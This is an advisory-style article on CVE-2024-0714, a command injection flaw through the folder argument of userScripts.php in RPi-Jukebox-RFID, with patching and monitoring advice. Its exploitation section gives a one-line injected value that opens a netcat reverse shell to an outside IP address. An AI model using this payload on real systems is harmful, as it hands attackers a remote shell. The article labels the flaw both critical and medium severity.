CVE-2024-0714: Exploit Details and Defense Strategies

This article provides insights into CVE-2024-0714, highlighting the vulnerability found in MiczFlor RPi-Jukebox-RFID related to OS command injection through the userScripts.php file.

Understanding CVE-2024-0714

CVE-2024-0714 is a critical vulnerability identified in MiczFlor RPi-Jukebox-RFID up to version 2.5.0. This vulnerability affects the HTTP Request Handler component, allowing for OS command injection when the argument folder is manipulated with malicious input.

What is CVE-2024-0714?

The vulnerability in the MiczFlor RPi-Jukebox-RFID system allows an attacker to execute arbitrary operating system commands by manipulating the folder argument in the userScripts.php file. This can be exploited remotely and has been rated as critical.

The Impact of CVE-2024-0714

The impact of CVE-2024-0714 is significant as it enables attackers to execute unauthorized commands on the system, potentially leading to unauthorized access, data theft, or system compromise. This vulnerability can be exploited remotely, posing a serious threat to the security of affected systems.

Technical Details of CVE-2024-0714

The vulnerability is classified as CWE-78, which is an OS Command Injection issue. It has been assigned a CVSSv3 base score of 6.3, indicating a medium severity level.

Vulnerability Description

The vulnerability arises from improper input validation in the userScripts.php file of the HTTP Request Handler component, allowing attackers to inject and execute arbitrary operating system commands.

Affected Systems and Versions

The affected vendor is MiczFlor, and the impacted product is RPi-Jukebox-RFID. Versions up to 2.5.0 are vulnerable to this exploit.

Exploitation Mechanism

By manipulating the argument folder with a malicious input, such as

;nc 104.236.1.147 4444 -e /bin/bash;

, attackers can trigger the OS command injection flaw, enabling unauthorized command execution.

Mitigation and Prevention

It is crucial for organizations and users to take immediate steps to address and mitigate the CVE-2024-0714 vulnerability to protect their systems and data.

Immediate Steps to Take

Update the affected systems to the latest patched versions provided by the vendor.
Implement network segmentation and access controls to restrict unauthorized access.
Monitor system logs and network traffic for any suspicious activities.

Long-Term Security Practices

Regularly update and patch all software and applications to address known vulnerabilities.
Conduct security assessments and penetration testing to identify and remediate security weaknesses.
Educate users and IT staff on best practices for cybersecurity hygiene and threat awareness.

Patching and Updates

Ensure that the MiczFlor RPi-Jukebox-RFID systems are updated to versions that have patches addressing the CVE-2024-0714 vulnerability. Regularly check for security advisories from the vendor and apply updates promptly to reduce the risk of exploitation.